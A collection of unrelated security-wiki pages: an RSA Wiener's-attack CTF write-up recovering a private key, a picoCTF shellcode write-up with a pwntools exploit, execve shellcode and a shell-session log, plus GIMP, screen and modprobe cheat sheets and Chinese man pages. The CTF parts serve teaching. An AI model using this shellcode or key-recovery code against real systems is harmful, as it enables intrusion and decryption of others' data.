65934fcf9f9f0179eea35888cb357b704441c1 flag: 0x2517d1866acc5b7b802a51d6251673262e9e6b2d0e0e14a87b838c2751dee91e4ea29019b0a7877b849fddf9e08580d810622db538462b529412eba9d0f8a450fe1889021c0bbd12a62ccc3fff4627b1dbdebec3a356a066adc03f7650722a34fe41ea0a247cb480a12286fffc799d66b6631a220b8401f5f50daa12943856b35e59abf8457b2269efea14f1535fb95e56398fd5f3ac153e3ea1afd7b0bb5f02832883da46343404eb44594d04bbd254a9a35749af84eaf4e35ba1c5571d41cab4d58befa79b6745d8ecf93b64dd26056a6d1e82430afbff3dbc08d6c974364b57b30c8a8230c99f0ec3168ac4813c4205d9190481282ae14f7b94400caff3786ed35863b66fefcffbef1ad1652221746a5c8da083987b2b69689cf43e86a05ce4cf059934716c455a6410560e41149fbcf5fcea3c210120f106b8f6269b9a954139350626cf4dcb497ce86264e05565ec6c6581bf28c643bb4fab8677148c8034833cedacb32172b0ff21f363ca07de0fa2882ac896954251277adc0cdd0c3bd5a3f107dbebf5f4d884e43fe9b118bdd51dc80607608670507388ae129a71e0005826c7c82efccf9c86c96777d7d3b9b5cce425e3dcf9aec0643f003c851353e36809b9202ff3b79e8f33d40967c1d36f5d585ac9eba73611152fc6d3cf36fd9a60b4c621858ed1f6d4db86054c27828e22357fa3d7c71559d175ff8e8987df ``` 其次使用如下方法进行 Wiener's Attack 得到 u,如下 ```python if __name__ == "__main__": bt = 536380958350616057242691418634880594502192106332317228051967064327642091297687630174183636288378234177476435270519631690543765125295554448698898712393467267006465045949611180821007306678935181142803069337672948471202242891010188677287454504933695082327796243976863378333980923047411230913909715527759877351702062345876337256220760223926254773346698839492268265110546383782370744599490250832085044856878026833181982756791595730336514399767134613980006467147592898197961789187070786602534602178082726728869941829230655559180178594489856595304902790182697751195581218334712892008282605180395912026326384913562290014629187579128041030500771670510157597682826798117937852656884106597180126028398398087318119586692935386069677459788971114075941533740462978961436933215446347246886948166247617422293043364968298176007659058279518552847235689217185712791081965260495815179909242072310545078116020998113413517429654328367707069941427368374644442366092232916196726067387582032505389946398237261580350780769275427857010543262176468343294217258086275244086292475394366278211528621216522312552812343261375050388129743012932727654986046774759567950981007877856194574274373776538888953502272879816420369255752871177234736347325263320696917012616273L e = 0x10194521505692a64d043daaef7647e0efb1503ec89220a0e4148ab53ecf708146a8893a2e700e4f2f062be14a3ab4e46339a939d5c7289904cc0ab043320d3a4d7da868bf5736ae5f787d6c0e3d9b8cc4b81314ad6c5ff643bc0d8946fea7eb09bf707a54747a39df1cfc0c30849770578cb63de86621001ce86a11874c91419a4d07373e66e94f31b988cac3aeaff88c7abaf3b78468a434990f7854e734208a7461f8245660fa8301f979e85517d705302c797dbdf2938cc442b01c228939eb73aa29651a198a332af2bb982310699684e5a0595c7413ec01eefb3613a9ea4b59f1de984ad4bf6654960613c0f8104b4e41fb33384e07f715176d68f4bb7613b1258675e70dc774f701aee053830f0be28ba9f308c9fe1707a5ba07a2027d74144b8aeb4042df3c1d73d9c38c2d7d1a890fd70d6e38c72da5d075f3811c0354dcecdd836a59112a70be22757278c5e4973906aaeeadd6f61d0845d6f9761df191b0b2527d122dd07f8bd07f5cd14268246ac2b93b778c84b5157f7eb23a8eaa9f0f885f2a38e3fb8fd1012d9b6c841cea8d9d73b232bef298afd086c1063bdd11e0777c8d2ec91ae843a67a98039cb53fad0ee25040176841a017fabf79b98de21d40bc6985f82dd84406aad26e9ac9bc5f6e12385230d9620b888c201ca9c413cbf0f36b100a6c62c5c8f065934fcf9f9f0179eea35888cb357b704441c1 t = gmpy2.invert(e, bt) n = 0x4b4403cd5ac8bdfaa3bbf83decdc97db1fbc7615fd52f67a8acf7588945cd8c3627211ffd3964d979cb1ab3850348a453153710337c6fe3baa15d986c87fca1c97c6d270335b8a7ecae81ae0ebde48aa957e7102ce3e679423f29775eef5935006e8bc4098a52a168e07b75e431a796e3dcd29c98dab6971d3eac5b5b19fb4d2b32f8702ef97d92da547da2e22387f7555531af4327392ef9c82227c5a2479623dde06b525969e9480a39015a3ed57828162ca67e6d41fb7e79e1b25e56f1cff487c1d0e0363dc105512d75c83ad0085b75ede688611d489c1c2ea003c3b2f81722cdb307a3647f2da01fb3ba0918cc1ab88c67e1b6467775fa412de7be0b44f2e19036471b618db1415f6b656701f692c5e841d2f58da7fd2bc33e7c3c55fcb8fd980c9e459a6df44b0ef70b4b1d813a57530446aa054cbfb9d1a86ffb6074b6b7398a83b5f0543b910dcb9f111096b07a98830a3ce6da47cd36b7c1ac1b2104ea60dc198c34f1c50faa5b697f2f195afe8af5d455e8ac7ca6eda669a5a1e3bfbd290a4480376abd1ff21298d529b26a4e614ab24c776a10f5f5d8e8809467a3e81f04cf5d5b23eb4a3412886797cab4b3c5724c077354b2d11d19ae4e301cd2ca743e56456d2a785b650c7e1a727b1bd881ee85c8d109792393cc1a92a66b0bc23b164146548f4e184b10c80ec458b776df10405b65399e32d657bc83e1451 solve(n, t) ``` 其中 solve 函数就是对应的 Wiener's Attack 的函数。 我们得到了 u,如下 ```shell ➜ rsa-wiener-attack git:(master) ✗ python RSAwienerHacker.py Testing Wiener Attack Hacked! ('hacked_d = ', mpz(404713159471231711408151571380906751680333129144247165378555186876078301457022630947986647887431519481527070603810696638453560506186951324208972060991323925955752760273325044674073649258563488270334557390141102174681693044992933206572452629140703447755138963985034199697200260653L)) ------------------------- Hacked! ('hacked_d = ', mpz(404713159471231711408151571380906751680333129144247165378555186876078301457022630947986647887431519481527070603810696638453560506186951324208972060991323925955752760273325044674073649258563488270334557390141102174681693044992933206572452629140703447755138963985034199697200260653L)) ------------------------- Hacked! ('hacked_d = ', mpz(404713159471231711408151571380906751680333129144247165378555186876078301457022630947986647887431519481527070603810696638453560506186951324208972060991323925955752760273325044674073649258563488270334557390141102174681693044992933206572452629140703447755138963985034199697200260653L)) ------------------------- Hacked! ('hacked_d = ', mpz(404713159471231711408151571380906751680333129144247165378555186876078301457022630947986647887431519481527070603810696638453560506186951324208972060991323925955752760273325044674073649258563488270334557390141102174681693044992933206572452629140703447755138963985034199697200260653L)) ------------------------- Hacked! ('hacked_d = ', mpz(404713159471231711408151571380906751680333129144247165378555186876078301457022630947986647887431519481527070603810696638453560506186951324208972060991323925955752760273325044674073649258563488270334557390141102174681693044992933206572452629140703447755138963985034199697200260653L)) ``` 接着利用 RsaConverter 以及 u,t,n 获取对应的 p 和 q。如下 ```shell 94121F49C0E7A37A60FDE4D13F021675ED91032EB16CB070975A3EECECE8697ED161A27D86BCBC4F45AA6CDC128EB878802E0AD3B95B2961138C8CD04D28471B558CD816279BDCCF8FA1513A444AF364D8FDA8176A4E459B1B939EBEC6BB164F06CDDE9C203C612541E79E8B6C266436AB903209F5C63C8F0DA192F129F0272090CBE1A37E2615EF7DFBB05D8D88B9C964D5A42A7E0D6D0FF344303C4364C894AB7D912065ABC30815A3B8E0232D1B3D7F6B80ED7FE4B71C3477E4D6C2C78D733CF23C694C535DB172D2968483E63CC031DFC5B27792E2235C625EC0CFDE33FD3E53915357772975D264D24A7F31308D72E1BD7656B1C16F58372E7682660381 8220863F1CFDA6EDE52C56B4036485DB53F57A4629F5727EDC4C5637603FE059EB44751FC49EC846C0B8B50966678DFFB1CFEB350EC44B57586A81D35E4887F1722367CE99116092463079A63E3F29D4F4BC416E7728B26248EE8CD2EFEA6925EC6F455DF966CEE13C808BC15CA2A6AAC7FEA69DB7C9EB9786B50EBD437D38B73D44F3687AEB5DF03B6F425CF3171B098AAC6708D534F4D3A9B3D43BAF70316812EF95FC7EBB7E224A7016D7692B52CB0958951BAB4FB5CB1ABB4DAC606F03FA15697CC3E9DF26DE5F6D6EC45A683CD5AAFD58D416969695067795A2CF7899F61669BC7543151AB700A593BF5A1E5C2AFBCE45A08A2A9CC1685FAF1F96B138D1 ``` 然后我们直接去获得 d,进而就可以恢复明文 ```python p = 0x94121F49C0E7A37A60FDE4D13F021675ED91032EB16CB070975A3EECECE8697ED161A27D86BCBC4F45AA6CDC128EB878802E0AD3B95B2961138C8CD04D28471B558CD816279BDCCF8FA1513A444AF364D8FDA8176A4E459B1B939EBEC6BB164F06CDDE9C203C612541E79E8B6C266436AB903209F5C63C8F0DA192F129F0272090CBE1A37E2615EF7DFBB05D8D88B9C964D5A42A7E0D6D0FF344303C4364C894AB7D912065ABC30815A3B8E0232D1B3D7F6B80ED7FE4B71C3477E4D6C2C78D733CF23C694C535DB172D2968483E63CC031DFC5B27792E2235C625EC0CFDE33FD3E53915357772975D264D24A7F31308D72E1BD7656B1C16F58372E7682660381 q = 0x8220863F1CFDA6EDE52C56B4036485DB53F57A4629F5727EDC4C5637603FE059EB44751FC49EC846C0B8B50966678DFFB1CFEB350EC44B57586A81D35E4887F1722367CE99116092463079A63E3F29D4F4BC416E7728B26248EE8CD2EFEA6925EC6F455DF966CEE13C808BC15CA2A6AAC7FEA69DB7C9EB9786B50EBD437D38B73D44F3687AEB5DF03B6F425CF3171B098AAC6708D534F4D3A9B3D43BAF70316812EF95FC7EBB7E224A7016D7692B52CB0958951BAB4FB5CB1ABB4DAC606F03FA15697CC3E9DF26DE5F6D6EC45A683CD5AAFD58D416969695067795A2CF7899F61669BC7543151AB700A593BF5A1E5C2AFBCE45A08A2A9CC1685FAF1F96B138D1 if p * q == n: print 'true' phin = (p - 1) * (q - 1) d = gmpy2.invert(e, phin) cipher = 0x2517d1866acc5b7b802a51d6251673262e9e6b2d0e0e14a87b838c2751dee91e4ea29019b0a7877b849fddf9e08580d810622db538462b529412eba9d0f8a450fe1889021c0bbd12a62ccc3fff4627b1dbdebec3a356a066adc03f7650722a34fe41ea0a247cb480a12286fffc799d66b6631a220b8401f5f50daa12943856b35e59abf8457b2269efea14f1535fb95e56398fd5f3ac153e3ea1afd7b0bb5f02832883da46343404eb44594d04bbd254a9a35749af84eaf4e35ba1c5571d41cab4d58befa79b6745d8ecf93b64dd26056a6d1e82430afbff3dbc08d6c974364b57b30c8a8230c99f0ec3168ac4813c4205d9190481282ae14f7b94400caff3786ed35863b66fefcffbef1ad1652221746a5c8da083987b2b69689cf43e86a05ce4cf059934716c455a6410560e41149fbcf5fcea3c210120f106b8f6269b9a954139350626cf4dcb497ce86264e05565ec6c6581bf28c643bb4fab8677148c8034833cedacb32172b0ff21f363ca07de0fa2882ac896954251277adc0cdd0c3bd5a3f107dbebf5f4d884e43fe9b118bdd51dc80607608670507388ae129a71e0005826c7c82efccf9c86c96777d7d3b9b5cce425e3dcf9aec0643f003c851353e36809b9202ff3b79e8f33d40967c1d36f5d585ac9eba73611152fc6d3cf36fd9a60b4c621858ed1f6d4db86054c27828e22357fa3d7c71559d175ff8e8987df flag = gmpy2.powmod(cipher, d, n) print long_to_bytes(flag) ``` 得到 flag ```shell true hctf{d8e8fca2dc0f896fd7cb4cb0031ba249} ``` ## 参考文献 - http://cacr.uwaterloo.ca/hac/about/chap8.pdf
sec-knowleage
--- title: GIMP date: 2022-11-23 16:23:31.696743 background: bg-[#554f42] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 97 keyboard shortcuts found in GIMP --- Keyboard Shortcuts ------------------ ### Toolbox {.row-span-2} Shortcut | Action ---|--- `R` | Rectangle select `E` | Ellipse select `F` | Free select `U` | Fuzzy select `Shift` `O` | Select by color `I` | Scissors `B` | Paths `O` | Color picker `M` | Move `Shift` `C` | Crop and resize `Shift` `R` | Rotate `Shift` `T` | Scale `Shift` `S` | Shear `Shift` `P` | Perspective `Shift` `F` | Flip `T` | Text `Shift` `B` | Bucket fill `L` | Blend `N` | Pencil `P` | Paintbrush `Shift` `E` | Eraser `A` | Airbrush `K` | Ink `C` | Clone `V` | Convolve `S` | Smudge `Shift` `D` | Dodge or burn `X` | Swap colors `D` | Default colors {.shortcuts} ### File Shortcut | Action ---|--- `Ctrl` `N` | New image `Ctrl` `O` | Open image `Ctrl` `Alt` `N` | Open image as new layer `Ctrl` `D` | Duplicate image `Ctrl` `1-0` | Open recent image 1-10 `Ctrl` `S` | Save image `Ctrl` `S` | Save image under a new name `Ctrl` `Q` | Quit {.shortcuts} ### Dialogs Shortcut | Action ---|--- `Ctrl` `L` | Layers `Ctrl` `Shift` `B` | Brushes `Ctrl` `Shift` `P` | Patterns `Ctrl` `G` | Gradients `Ctrl` `Shift` `T` | Tool options `Ctrl` `P` | Palettes `Ctrl` `Shift` `I` | Info window `Ctrl` `Shift` `N` | Navigation window `Tab` | Jump to next widget `Shift` `Tab` | Jump to previous widget `Enter` | Set the new value `Space` | Activate the current button or list `Ctrl` `Alt` `PgUp` | In a multi-tab dialog, switch tabs `Shift` `L` | Open location `Alt` `Up` | Up folder `Alt` `Down` | Down folder `Alt` `Home` | Home folder `Esc` | Close dialog {.shortcuts} ### View Shortcut | Action ---|--- `F10` | Main menu `Shift` `F10` | Drop-down menu `F11` | Toggle fullscreen `Shift` `Q` | Toggle quickmask `Ctrl` `W` | Close document window `+` | Zoom in `-` | Zoom out `1` | Zoom 1:1 `Ctrl` `E` | Shrink wrap `Ctrl` `Shift` `E` | Fit image in window `Ctrl` `Shift` `R` | Toggle rulers `Ctrl` `Shift` `T` | Toggle guides {.shortcuts} ### Layers Shortcut | Action ---|--- `PgUp` | Select the layer above `PgDn` | Select the layer below `Home` | Select the first layer `End` | Select the last layer `Ctrl` `M` | Merge visible layers `Ctrl` `H` | Anchor layer {.shortcuts} ### Edit {.row-span-2} Shortcut | Action ---|--- `Ctrl` `Z` | Undo `Ctrl` `Y` | Redo `Ctrl` `C` | Copy selection `Ctrl` `X` | Cut selection `Ctrl` `Shift` `C` | Copy visible `Ctrl` `Shift` `V` | Paste as new image `Ctrl` `V` | Paste clipboard `Ctrl` `K` | Clears selection `Ctrl` `Shift` `C` | Named copy selection `Ctrl` `Shift` `X` | Named cut selection `Ctrl` `Shift` `V` | Named paste clipboard `Ctrl` `,` | Fill with foreground color `Ctrl` `.` | Fill with background color `Ctrl` `;` | Fill with pattern {.shortcuts} ### Selections Shortcut | Action ---|--- `Ctrl` `T` | Toggle selections `Ctrl` `A` | Select all `Ctrl` `Shift` `A` | Select none `Ctrl` `I` | Invert selection `Ctrl` `Shift` `L` | Float selection `Shift` `V` | Path to selection {.shortcuts} ### Plug-Ins Shortcut | Action ---|--- `Ctrl` `F` | Repeat last plug-in `Ctrl` `Shift` `F` | Reshow last plug-in {.shortcuts} ### Help Shortcut | Action ---|--- `F1` | Help `Shift` `F1` | Context help {.shortcuts} Also see -------- - [Keyboard shortcuts for GIMP](https://www.gimpusers.com/gimp/hotkeys) _(www.gimpusers.com)_
sec-knowleage
.\" (c) 1993 by Thomas Koenig (ig25@rz.uni-karlsruhe.de) .\" .\" 在包括本版权通告和许可声明的前提下,允许一字不捺地生成和发布本篇的拷贝版本. .\" .\" 在遵照本许可声明的条款完整地发布了原作品的前提下,允许复制和发布本手册的修改版本. .\" .\" 因为Linux内核和库经常修改,本手册页可能会出现错误或者过时.作者(们)对文中错误或者行文繁冗不 .\" 承担责任,对因为使用包含在内的信息而造成的损失也不负责.对于许可免费的本手册,作者(们)可能在创 .\" 作它时考虑层次各有不同,当工作专业化之后,也许能够达到一致. .\" .\" 将该手册版式化或者加工处理,如果没有包括原本,则必须公认本作品的版权和作者. .\" .TH LOCALE 7 "1993年4月24日" "Linux" "Linux Programmer's Manual(Linux程序员手册)" .SH NAME(名称) locale \- 描述多语言支持 .SH SYNOPSIS(总览) .nf .B #include <locale.h> .fi .SH DESCRIPTION(描述) locale 就是一系列语言文化规则. 它包括如下一些方面: 讯息的语言, 不同字符设置, 文字惯例, 等等. 程序需要能够判断其 locale 并根据适合于不同文化的要求来运行. .PP 头文件 .B <locale.h> 声明了用于该项作业中的数据类型,函数和宏. .PP 它声明的函数有: .B setlocale() 用来设置当前 locale, .B localeconv() 用来获得数字格式方面的信息. .PP 程序可能需要的本地化信息会有不同的种类; 它们都以宏的方式声明 把它们当做 .B setlocale() 的第一个参数来用, 就可以把其中一个设置为需要的 locale: .TP .B LC_COLLATE 这用来修改函数 .B strcoll() 和 .BR strxfrm() 的执行方式, 其中 strxfrm() 函数用来以本地化字母表进行字符串比较. 例如, 德国升半音的 s 排序为 "ss". .TP .B LC_CTYPE 修改字符处理分类函数如 .B isupper() 和 .BR toupper() 的执行方式, 还修改多字节字符函数如 .B mblen() 或者 .BR wctomb() 的执行方式. .TP .B LC_MONETARY 修改由 .B localeconv() 返回的信息, 这些信息描述了数字, 以及诸如 小数点和千进位逗号之类输出的常见格式的细节. 这些信息由函数 .BR strfmon() 在内部调用. .TP .B LC_MESSAGES 修改显示的语言信息以及正值和负值的表达方式. GNU C-library包含: .B rpmatch() 函数用于方便地使用这些信息. .TP .B LC_NUMERIC 在考虑使用 locale 设置时,修改 .B printf() 和 .B scanf() 函数族使用的信息.该信息也可以由 .B localeconv() 函数读取. .TP .B LC_TIME 修改 .B strftime() 函数的执行方式以显示适于当地格式的当前时间; 例如,欧洲的绝大部分地区使用的是 24 小时的时钟, 而美国则是 12 小时的时钟. .TP .B LC_ALL 上述所有的. .PP 如果 .B setlocale() 的第二个参数为空, 则设置 .BR """""" , 为默认的locale,它通过以下几步来确定: .IP 1. 如果有非空的环境变量 .BR LC_ALL , 则使用 .B LC_ALL 的值. .IP 2. 如果存在一个与上述列出的种类同名的环境变量并且其不为空, 则使用该分类的值. .IP 3. 如果有非空的环境变量 .BR LANG , 则使用 .B LANG 的值. .PP 关于本地数字格式的值用于由 .B localeconv() 函数返回的 .B struct lconv , 其有以下声明: .nf struct lconv { /* 数码(非货币形式)信息. */ char *decimal_point; /* 小数点字符. */ char *thousands_sep; /* 千数的分隔符. */ /* 每个元素就是每组的阿拉伯数字;指数越高的元素在越左边.一个值为CHAR_MAX的元素表示不需继续 分组了.一个值为0的元素表示前面的字符用于所有更左边的组. */ char *grouping; /* 货币信息. */ /* 前三个字符是ISO 4217定义的流通符号. 第四个字符是分隔符. 第五个字符是'\0'. */ char *int_curr_symbol; char *currency_symbol; /* 当地货币符号. */ char *mon_decimal_point; /* 小数点字符. */ char *mon_thousands_sep; /* 千数的分隔符. */ char *mon_grouping; /* 如前述的'分组'元素. */ char *positive_sign; /* 正值符号. */ char *negative_sign; /* 负值符号. */ char int_frac_digits; /* 国际通用的数字. */ char frac_digits; /* 本地使用的数字. */ /* 如果currency_symbol后跟着一个正值则为1,如果顺序相反为0. */ char p_cs_precedes; /* 如果在currency_symbol和正值之间是一个空格则为1. */ char p_sep_by_space; /* 如果currency_symbol后跟着一个负值则为1,如果顺序相反为0. */ char n_cs_precedes; /* 如果在currency_symbol和正值之间是一个空格则为1. */ char n_sep_by_space; /* 正值和负值符号位置: 数量值和currency_symbol在圆括号内则为0. 符号字符串先于数量值和currency_symbol则为1. 符号字符串在数量值和currency_symbol之后则为2. 符号字符串后紧跟数量值和currency_symbol则为3. 符号字符串紧跟在数量值和currency_symbol之后则为4. */ char p_sign_posn; char n_sign_posn; }; .fi .SH "CONFORMS TO(遵循规则)" POSIX.1 .SH "SEE ALSO(另见)" .BR setlocale (3), .BR localeconv (3), .BR locale (1), .BR localedef (1), .BR rpmatch (3), .BR strfmon (3), .BR strcoll (3), .BR strxfrm (3), .BR strftime (3) .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .\" 中文版版权所有 riser,BitBIRD www.linuxforum.net 2000 .\" 1993年7月24日由Rik Faith (faith@cs.unc.edu)修改 .\" 1997年6月1日由Jochen Hein(jochen.hein@delphi.central.de)修改 .SH "[中文版最新更新]" .BR 2001/07/19 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# handy-shellcode Binary Exploitation, 50 points ## Description: > This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter your shellcode:"); vuln(buf); puts("Thanks! Executing now..."); ((void (*)())buf)(); puts("Finishing Executing Shellcode. Exiting now..."); return 0; } ``` ## Solution: This challenge is similar to last year's [shellcode](/2018_picoCTF/shellcode.md). We'll use pwntools' "shellcode" module to generate a shellcode: ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX disabled # PIE: No PIE (0x8048000) # RWX: Has RWX segments import os if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) io = start() shellcode = shellcraft.sh() log.info("Shellcode: \n{}".format(shellcode)) io.sendlineafter("Enter your shellcode:", asm(shellcode)) io.interactive() ``` Output: ```console root@kali:/media/sf_CTFs/pico/handy-shellcode# python exploit.py [*] '/media/sf_CTFs/pico/handy-shellcode/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.AwgEXes6oj' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af' [+] Starting remote process '/problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af/vuln' on 2019shell1.picoctf.com: pid 3301954 [*] Shellcode: /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push '/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp /* push argument array ['sh\x00'] */ /* push 'sh\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx /* null terminate */ push 4 pop ecx add ecx, esp push ecx /* 'sh\x00' */ mov ecx, esp xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80 [*] Switching to interactive mode jhh///sh/bin\x89h\x814$ri1Qj\x04YQ1j\x0bX̀ Thanks! Executing now... $ $ ls flag.txt vuln vuln.c $ $ cat flag.txt picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402} ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "PGTKSH" "1" "2003-11-02" "Application" "PostgreSQL Client Applications" .SH NAME pgtksh \-\- PostgreSQL Tcl/Tk shell 客户端 .SH SYNOPSIS .sp pgtksh [filename [argument...]] .SH "DESCRIPTION 描述" .PP \fBpgtksh\fR 是一个带有 PostgreSQL 数据库访问函数扩展的 Tcl/Tk shell 接口。(实际上,它是装载了 libpgtcl 的wish。) 和普通的 Tcl/Tk shell wish 类似,命令行的第一个参数是一个脚本文件, 任何剩余的参数都传递给该脚本。特殊的选项可以由 X Window 系统库来处理。 如果没有命名脚本的名字,那么该 shell 是交互的。 .PP 一个带有 PostgreSQL 函数的纯 Tcl shell 是 \fBpgtclsh\fR(1)。 .SH "SEE ALSO 参见" .PP \fBpgtclsh\fR(1), (描述了 libpgtcl), \fBtclsh\fR(1), \fBwish\fR(1) .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
--- title: Screen date: 2021-01-02 20:03:55 background: bg-emerald-500 tags: - terminal - session - utility categories: - Linux Command intro: | This is a quick reference guide cheat sheet for the screen command. plugins: - copyCode --- Getting Started --------------- ### Getting started ```shell script $ screen ``` 1\. Press <kbd>Ctrl-A</kbd> <kbd>D</kbd> to detach session --- 2\. List all screen sessions ```shell script $ screen -ls ``` 3\. Re-attach a screen Session ```shell script $ screen -r <name/pid> ``` ### Options {.col-span-2} | Options | Example | Description | |---------|---------------------------------------|---------------------------------------------------------| | `-S` | screen -S debug | Start a new session with session name | | `-ls` | screen -ls | List running sessions / screens | | `-x` | screen -x | Attach to a running session | | `-r` | screen -r debug | Attach to a running session with name | | `-R` | screen -R debug | Attach to a session _(Will create if it doesn't exist)_ | | `-d` | screen -d -m wget xxxx.com/large.file | Start screen in detached mode | | `-X` | screen -X -S debug kill | Kill a running session | {.show-header} ### Help | Command | Description | |--------------|--------------------------------| | `Ctrl-A` `?` | See help _(Lists keybindings)_ | {.shortcuts} ### Window Management {.col-span-2 .row-span-2} | Command | Description | |----------------------------------------|-----------------------------------------| | `Ctrl-A` `C` | Create new window | | `Ctrl-A` `Ctrl-A` | Change to last-visited active window | | `Ctrl-A` `0...9` | Change to window by number | | `Ctrl-A` `'` `<0...9 or title>` | Change to window by number or name | | `Ctrl-A` `N` or `Ctrl-A` `<space>` | Change to next window in list | | `Ctrl-A` `P` or `Ctrl-A` `<backspace>` | Change to previous window in list | | `Ctrl-A` `"` | See window list | | `Ctrl-A` `W` | Show window bar | | `Ctrl-A` `K` | Kill current window _(not recommended)_ | | `Ctrl-A` `\` | Kill all windows _(not recommended)_ | | `Ctrl-A` `A` | Rename current window | {.shortcuts} ### Getting Out | Command | Description | |------------------|-------------------------------------------| | `Ctrl-A` `D` | Detach | | `Ctrl-A` `D` `D` | Detach and logout <br>_(quick exit)_ | | `Ctrl-A` `:` | Exit all session | | `Ctrl-A` `C-\` | Force-exit screen <br>_(not recommended)_ | {.shortcuts} ### Split screen | Command | Description | |----------------|----------------------------------------| | `Ctrl-A` `S` | Split display horizontally | | `Ctrl-A` `V` | Split display vertically | | `Ctrl-A` `|` | Split display vertically | | `Ctrl-A` `TAB` | Jump to next display region | | `Ctrl-A` `X` | Remove current region | | `Ctrl-A` `Q` | Remove all regions but the current one | {.shortcuts} ### Misc {.col-span-2 .row-span-2} | Command | Description | |-------------------|--------------------------------------------| | `Ctrl-A` `C-l` | Redraw window | | `Ctrl-A` `[` | Copy mode | | `Ctrl-A` `ESC` | Copy mode | | `Ctrl-A` `]` | Paste | | `Ctrl-A` `M` | Monitor window for activity | | `Ctrl-A` `_` | Monitor window for silence | | `Ctrl-A` `Ctrl-V` | Enter digraph <br>_(non-ASCII characters)_ | | `Ctrl-A` `X` | Lock (password protect) display | | `Ctrl-A` `:` | Enter screen command | | `Ctrl-A` `H` | Enable logging in the screen session | {.shortcuts} ### Screen tricks SSH and attach in one line ```shell script $ ssh -t user@host screen -x <name/pid> ```
sec-knowleage
# SECCON 2019 Quals Team: rev, nazywam, Eternal, kazet, rodbert, c7, msm, chivay, shalom ### Table of contents * [ZKPay (crypto?/web)](zk_pay) * [Fileserver (web)](fileserver) * [Pngbomb (misc)](pngbomb) * [Multiplicater (web)](multiplicater) * [Crazy repetition of codes (crypto)](crc) ![](scoreboard.png)
sec-knowleage
modprobe === 自动处理可载入模块 ## 补充说明 **modprobe命令** 用于智能地向内核中加载模块或者从内核中移除模块。 modprobe可载入指定的个别模块,或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,在modprobe会卸载整组的模块。 ### 语法 ```shell modprobe(选项)(参数) ``` ### 选项 ```shell -a或--all:载入全部的模块; -c或--show-conf:显示所有模块的设置信息; -d或--debug:使用排错模式; -l或--list:显示可用的模块; -r或--remove:模块闲置不用时,即自动卸载模块; -t或--type:指定模块类型; -v或--verbose:执行时显示详细的信息; -V或--version:显示版本信息; -help:显示帮助。 ``` ### 参数 模块名:要加载或移除的模块名称。 ### 实例 **查看modules的配置文件:** ```shell modprobe -c ``` 这里,可以查看modules的配置文件,比如模块的alias别名是什么等。会打印许多行信息,例如其中的一行会类似如下: ```shell alias symbol:ip_conntrack_unregister_notifier ip_conntrack ``` **列出内核中所有已经或者未挂载的所有模块:** ```shell modprobe -l ``` 这里,我们能查看到我们所需要的模块,然后根据我们的需要来挂载;其实`modprobe -l`读取的模块列表就位于/lib/modules/\`uname -r \`目录中;其中`uname -r`是内核的版本,例如输出结果的其中一行是: ```shell /lib/modules/2.6.18-348.6.1.el5/kernel/net/netfilter/xt_statistic.ko ``` **挂载vfat模块:** ```shell modprobe vfat ``` 这里,使用格式`modprobe 模块名`来挂载一个模块。挂载之后,用lsmod可以查看已经挂载的模块。模块名是不能带有后缀的,我们通过`modprobe -l`所看到的模块,都是带有`.ko`或`.o`后缀。 **移除已经加载的模块:** ```shell modprobe -r 模块名 ``` 这里,移除已加载的模块,和rmmod功能相同。
sec-knowleage
